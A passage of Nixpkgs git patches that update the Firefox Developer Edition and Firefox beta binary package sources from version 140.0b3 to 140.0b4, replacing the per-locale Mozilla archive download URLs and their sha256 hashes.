+      sha256 = "a0f8f2af64f04e6ba51a082860eb699902e5f5bc27dd995b9b97501d5bc7e0c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ja-JP-mac/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ja-JP-mac/Firefox%20140.0b4.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "a95390e3725fe01ad9baaade9021a418372bea41125c5cccba6f37a5251f61b1";
+      sha256 = "3c248f77a15e06c4222760c2dc89d6a8b3f5d2e39772fbd503f35d6fd05aecaf";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ka/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ka/Firefox%20140.0b4.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "faa01d4c9385d3f975fbc79ba7aafe59029e90fd128b03fdc1850752e3ddd507";
+      sha256 = "81a45186f076deb52152488cf38b4852b2e0b69e0e6838dc63345587d8d61e88";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/kab/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/kab/Firefox%20140.0b4.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "89442f6b6c6a414a909eea9df7d5d1a37e5879532b4d9fe61e94fdb51529084b";
+      sha256 = "84163f185798fc4975e974b3abc617cb04de4e0fcd0494536a9a51efbf8dba23";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/kk/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/kk/Firefox%20140.0b4.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "20ab995aaa826d58223435f3317d8de817a165c9a5440f68e90e1a74e8cf6881";
+      sha256 = "66dc5ac5244e54c22f4ad71bc4653dd416f087008657f16d60d13ef031f96bcb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/km/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/km/Firefox%20140.0b4.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "8c79bd0ff6a8ef9f30312ff49bd40e5b000343203849ba0e633369ec6873b297";
+      sha256 = "93436870b3cde5355505738fe2ff850d28632223eb4a872c4767961a422c8e3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/kn/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/kn/Firefox%20140.0b4.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "8aa7056147c69bcba2d2c141be79ee89092d6af7c57bb50703260e97d7b1cf03";
+      sha256 = "955cec843ecc4360288a573888b15a257f75f39459157dd844208b012cbf8699";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ko/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ko/Firefox%20140.0b4.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "99adc3223525a2901b09d0502a90ab9c0105ac9a961941133e18adb020a4fdf8";
+      sha256 = "c42535a9c379574d411cce6d4fd5830ccd77ac7b6c849aeba68436bdf82c1186";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/lij/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/lij/Firefox%20140.0b4.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "a2ee8a7df24b872daadf4706ae669bf038dabea9fe1abe2d65ce9ae9a3ff1924";
+      sha256 = "470bd5f04da762cf04914613dd6eec4c13c08fa47ad066ab7f078ae4867a2de1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/lt/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/lt/Firefox%20140.0b4.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "3392374665a21108f4649c07b6617cf7f7340be0890ebd6e9e254c9a88efbb0f";
+      sha256 = "47ddaf3acc3f3f19479f59d5fa10493376a53d00543fbbaa9822388ad99740e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/lv/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/lv/Firefox%20140.0b4.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "637b76a242d6470597e7e6c35775b9989235819c2d4388d908ca09fbd14a004e";
+      sha256 = "2bdb8c87690c79515d28433f8a740bef9c6b65cdade4d34d6614bcb37c50b743";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/mk/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/mk/Firefox%20140.0b4.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "413a76f4bb5d2c9b32cae19eca2576bf35f3d63df59c44d5b6d99edbba2700f3";
+      sha256 = "eaa7cf469fe18e1af5f2ee1556f91061986bf78a86ba90b6c7b7ccbb65c6b419";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/mr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/mr/Firefox%20140.0b4.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "7cca5cc2d2efb1f3f083fa4e953202b8108bdd735eb9ae26d71a6a3beacfe2b7";
+      sha256 = "2732019664cc9a05c401f690ee8b719dceac32d6ed9266d7ba325d9fe52fb85a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ms/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ms/Firefox%20140.0b4.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "102223dddd89fa88ea6cac413c9154863d3be3dbe1063633d977b01c71d180c0";
+      sha256 = "7e91bb6d012fd9536dd78297686a4812dfd9c4f74b6ba2c4c97311d479b76509";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/my/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/my/Firefox%20140.0b4.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "61ae243ff4451c581d74ce6f98486d5089bd130e415a6921c972fd5db935121c";
+      sha256 = "83d5c8477be5836b515e0b535c29f7e47a1633ed3464deb57eb882d167d6732a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/nb-NO/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/nb-NO/Firefox%20140.0b4.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "f251c9b9cd5295325884989dd91bd91fcd4eacb69381cda3430ffeec4352ab25";
+      sha256 = "4760c1beef65c7eac0af3722d9f57ab285d7e61c9313683a8c658fbdcc8db359";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ne-NP/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ne-NP/Firefox%20140.0b4.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "58e3a5927e3cf8d53cf4dd83141562b2fc6957e9725d619fa25e40196d90a232";
+      sha256 = "85b109d9732666dccd91e987409f50832cddaf2e26d56adc9a8abb50fb086b33";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/nl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/nl/Firefox%20140.0b4.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "3543c215c31dae3e64dd6dc58661158b8148a64aef0e0f2eb5b6da4fc75f7fb3";
+      sha256 = "26626d2859d869ad67b8a99f9d0143a307a2998f941b0d8ffbc1b2c10c5d3aec";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/nn-NO/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/nn-NO/Firefox%20140.0b4.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "5be9073b97c6be9ac49214b170408b563a05a1330d7008a7fc5828fba34254df";
+      sha256 = "51b8a1f43bc4fbf15a5723094f7f7b328da5a015751ec0691c98d4d2ce9f16ee";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/oc/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/oc/Firefox%20140.0b4.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "90a95fba1b9684b72b11ed5e2455b2880a49ee38af0578238eca50f0f64f5c86";
+      sha256 = "a5a71e4caf90caa0d06bc4e25e1871165c9ebe8e710fabb2d52090cb823e5ead";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/pa-IN/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/pa-IN/Firefox%20140.0b4.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "1d1eb37923276bb744e7317e5a13f754c1c40dcfdde803836096bbab4ad1b73c";
+      sha256 = "99c12506e095e94890dd10e684d0ca942809a3a37e2650efa72ae87e65e7b45c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/pl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/pl/Firefox%20140.0b4.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "2f0fbf132c1bf3020c25b0b4a5d3819c7a8976050a13a78a2ac1a2a7a8d90639";
+      sha256 = "212018c48731d2ca8668642d2c050300a41c08d2a7abf5cdaa2b185dd9c3dcec";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/pt-BR/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/pt-BR/Firefox%20140.0b4.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "dbb1b75a4504cd974330b831cf101780479e89128226b3201f835182501a20a8";
+      sha256 = "a25b7e77f2d00bbf1d09cf3b70e8117de7a7ca8f561fe4baf15efa699a5c3d52";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/pt-PT/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/pt-PT/Firefox%20140.0b4.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "be7accef05071d1e3a3eb91c651a2a230a15a6a34f0b631dbb23dff4ab04c48d";
+      sha256 = "e10958a717fa15b696221f011ca5bfe9b6e18d6956ef82fa0ed6bc760cb18ec8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/rm/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/rm/Firefox%20140.0b4.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "3fc7184d29e01e8d35fe15593b51ac1e2aebafb81efbd0f5f9439c88de92dd43";
+      sha256 = "8d7639036da625e60f72e51fce640bd2a447059f8fbf6a6b7209cf1d3a74e63f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ro/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ro/Firefox%20140.0b4.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "bc5bef76b02704e9bddc7789cf2613619b05bb8ef60c468d908a2718f70cdac3";
+      sha256 = "498405a39a28c87cb46f2012b09124e51a3f99e25fe9498c1241594ecbfbf302";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ru/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ru/Firefox%20140.0b4.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "dc6bd8c1566a001a96d09d363b409e4fe1c4789c68b790c1ae3fcfca78c5bd61";
+      sha256 = "29e979cd4639b9bbe6e9e44b79b5173a8f488286382533bb8cb815e4182af549";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sat/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sat/Firefox%20140.0b4.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "538a52ac76c407170f20b8205fe8d9c8d87e0994b0ab317adbdaddd318f59603";
+      sha256 = "7e8f046e1b7446b15cba2e35a03b978b7308436176babd5ae284e318ee5367ef";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sc/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sc/Firefox%20140.0b4.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "ab2083bb3f0792c9992c06e9f36301d32303d03018e23f0637ddde9be3e25e24";
+      sha256 = "7ed54fe5b147236c4be842c04a8341bbcfce15d21b457b516c4ae7f5f36aa34c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sco/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sco/Firefox%20140.0b4.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "b9c56f2c5e09fd688cbbdcf3ebc99b4b7f057ab481c1fae0a7a2e5861b7dd762";
+      sha256 = "5d4ee58fda8829d630ed0e6f4db3a45d0d45c26043d7899110939ecb00646a05";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/si/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/si/Firefox%20140.0b4.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "58b8d7fc66556775aae57b4e94c4ec634715b82aa2315af59ca22f398d82ad02";
+      sha256 = "596172e11688ca78f9fe5da998723cd63f9772262457db36a2f5fddc0ee614f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sk/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sk/Firefox%20140.0b4.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "de930af4f10e568f0fea89b8e13db00022b1e2ae2feba92f4b83bd7dcf578a39";
+      sha256 = "9830062f46a64e15681d39a5432a63cbc3175947df962e90f58d8c97d410e9fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/skr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/skr/Firefox%20140.0b4.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "636f7e563a3ada0c596f75098ba74880d75e579b70aef876aa8f030066a694d6";
+      sha256 = "99f5c37cf3fb9a2918e760ebbc77e5423903479cc77a869c600320a365e877f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sl/Firefox%20140.0b4.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "856d81557b6acd1e238c04dbd8efcbbd0fac05d31df38ca1b6dc05e0b4823920";
+      sha256 = "1b3a3b8456a571948a6b0c15860b9931d66cc04740f653db136331b8ab0d8cdc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/son/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/son/Firefox%20140.0b4.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "757fde5c9c72658729bdaf03fdeab06606c83286ed06c6a17d5c9c034ccc491b";
+      sha256 = "82ecd81aefd3a2e3ad39fa20bb733f4547fc32673e030456e31a28e6329365b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sq/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sq/Firefox%20140.0b4.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "99ffa29be7c64059386d15ce600fb52f72a3e8a98291f88858092b7577153a69";
+      sha256 = "125a5c6aa708de9b9c709860c2ea74dab9ba51f40f87faff801f7cb217151a29";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sr/Firefox%20140.0b4.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "1e15320ded4438a36166e85fdc57b2101c4a1ae4c2790f9dfaf4a2d623c72cdf";
+      sha256 = "35b4afe46484cb8ca9093d38fc155948474c80538c3b1721ce67eff9518c3993";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/sv-SE/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/sv-SE/Firefox%20140.0b4.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "f102f3daa8d5b231a6d3c88692e676f7a776a7bec7867a3130edb7664d694416";
+      sha256 = "d84dfbef368b9b990726e5ee5fc8ad3437696d11747f74f5301d5a52fe2ebb5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/szl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/szl/Firefox%20140.0b4.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "f64c48c0376bc7a3fb78401cde45da6f384938a3cf8dc728afe5f79450f28f7d";
+      sha256 = "74a2a1162ce5703807114d2c3a727db10d74367f22a97866b084e23293ea116d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ta/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ta/Firefox%20140.0b4.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "28b94d98a68653139e4920a428915cfecd230d933d8276122907b98b08880e4e";
+      sha256 = "fbe97f24739b24899b666a04b6e5513a1b03358bdf9d3622947da78013d39b80";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/te/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/te/Firefox%20140.0b4.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "3c1aeb66d18f386fdce26b76dd6165b1aba5d3abffbe50518a7bb98cad0b260a";
+      sha256 = "66516cc17b46140a59e08dec29b65a2c7abc3812279edb25f0f88b94740fae16";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/tg/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/tg/Firefox%20140.0b4.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "0bfd5977424a287b4dd5b33d3d06ef7a46eab14b9528b4faab9ac5624bcf5a15";
+      sha256 = "27143f96bc4a02a09b2b86d46b4322d1dd76cfea719c65e81f19666baf239210";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/th/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/th/Firefox%20140.0b4.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "c7b00d9601e0dd1b58cb239a243a9814694517bd72654598c9b1cccbf057fad5";
+      sha256 = "8179a2e47faaba8943871443550f2d562a1e409c2af660f4adc93d3bf85ee810";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/tl/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/tl/Firefox%20140.0b4.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "19a06f0ef997df9fe9231393e2641f162b473eef0973c35428ff1c9acf68e790";
+      sha256 = "11a536ccb269258bfdf6810d86135cb8d5802071eb659886a2aff7e63ba2f5f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/tr/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/tr/Firefox%20140.0b4.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "147e73c10914893790ef2f07929b9b448114f9b6decd42be231883c1b8fc4a98";
+      sha256 = "46f88c04e1e7f2eb41344aae1f7d2ef6f0d49385c8c6a9aacf370a4f32632e6b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/trs/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/trs/Firefox%20140.0b4.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "b7fd70dba59b97246f2a69815b63f3984fbcd0551174bbaa9ba6c767b81a1f65";
+      sha256 = "07fd992c396199a92b09c93f7478411b788fb132bd2df4446a38ec6e0cf1960f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/uk/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/uk/Firefox%20140.0b4.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "bd812c4b22b71be191a17936371f18ee6a1ffc97a1afe88dd1c3f4b5c0aaa9c9";
+      sha256 = "e19dda81f715feaf6011d7f59033df2565db0ec623b7ceccd75538cb3dd7098f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ur/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ur/Firefox%20140.0b4.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "ad42340b285bd9aa28bf5f568d2f559cc2525eb4d3c76750766742503208fe23";
+      sha256 = "3fbf0c116482cb641b30db94ecba745df05a419f85eeb0c09180582baf5bb072";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/uz/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/uz/Firefox%20140.0b4.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "1e1325a80bbec8eaa0d0fff8d0fc09adab19c43e51160dc041702768eba63220";
+      sha256 = "0e906f32a4ad896f80bdafc28a4cf86579de2ddb5c19dc7dc5a430f58ba68d2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/vi/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/vi/Firefox%20140.0b4.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "fc9f36a9269c990feaba9621dfed49d9df96f0fe20155884e90807ae9d7225b8";
+      sha256 = "491126108cebab75a43eeb1fcf8e6a4659960055798488c469b2167956f4d6d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/xh/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/xh/Firefox%20140.0b4.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "af8210bf82898991fd9da3f8e539e09aa6a3995665cbe049558bc9245640e0be";
+      sha256 = "67f143f0d7d62772815a7554e74baff5f5fcbe51a58f1f095ec248ee3971cf97";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/zh-CN/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/zh-CN/Firefox%20140.0b4.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "ebe8c62854e34ea685d7a49864504faac27453d21c76dad92d96e2eb6f7b6cfc";
+      sha256 = "cd905f3ceff4c7894aa299562fbf495051760af5b600ff35f0d1ef88fdbe2187";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/zh-TW/Firefox%20140.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/zh-TW/Firefox%20140.0b4.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "7035c1f5ce6358fa450ac6de572b08907a8bb4df4849008fb35e8f492c3cf622";
+      sha256 = "8b50ad669970fa040a3c12156c24903c3b6a885ad7cc886ef7a25507ac27f202";
     }
   ];
 }

From 5c45d55696e555a3c8a362c47b586d6862f3ee3b Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 3 Jun 2025 17:05:31 +0000
Subject: [PATCH 0599/4511] firefox-beta-bin-unwrapped: 140.0b3 -> 140.0b4

(cherry picked from commit 2cb9a14a8724805f56e1736a1ecc85fc6750d365)
---
 .../browsers/firefox-bin/beta_sources.nix     | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
index 95231f18b01d..8f9940e790b2 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0b3";
+  version = "140.0b4";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ach/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ach/firefox-140.0b4.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "87c1f8aa057b132bdf97b81aa911cde1b76df420f4319052dac1fb36f73aeaa7";
+      sha256 = "79c4bae3ab2ecc83eaaaab31104e117ba66ad82abc4dfae2f5ec76dde47f51ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/af/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/af/firefox-140.0b4.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "995fb3776e849a87271df8f7967fff46febbb57ac4e513e520fe2790947e8e04";
+      sha256 = "699a969d7ab130bc9bda98abf1e5ff47b77dd6de0cbdb0c1201f465ba8cee7e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/an/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/an/firefox-140.0b4.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "a3daa36f2d0477ff3bf8af4df84b1bbd6d001093b1b7453489486efabfc1c0c9";
+      sha256 = "68f2fd1f33a6fd473c53cf0e3574e780cfa9a28c298d2733813676d71650e6ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ar/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ar/firefox-140.0b4.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "36bb911e75abad10dd74d9d1aa541ee8b34f7918f5867acbfeb2682386d1b875";
+      sha256 = "16d9b35f06fb47a74a778d64cf7abe219a3624ca4732287970ce9f109cfa688c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/ast/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/ast/firefox-140.0b4.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "3df5f717c4ba64c88fcf873e01a667dc72ec006be98e4ccdf776381fb5c2999f";
+      sha256 = "8063552de94d50d73b2adfe01eed122e50c399aeacf4944769e27ac51af5ca5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/az/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/az/firefox-140.0b4.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "0fbc914fed6b0344f6701dda29c92a613650987a9c5c3b6cc6f5f99f1d77df47";
+      sha256 = "f54d622ba71e419a329768ac346d4469cffcac4b8077d686902ab254b7d5ac1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/be/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/be/firefox-140.0b4.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "0e07670b6e2f0912d3c7c599b7db147212b0cad36737681d8012f2dca7d8c22e";
+      sha256 = "827a6e56ff56d907d4bfe825322564c31b690058a18b835f73612384f388645d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b3/linux-x86_64/bg/firefox-140.0b3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-x86_64/bg/firefox-140.0b4.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
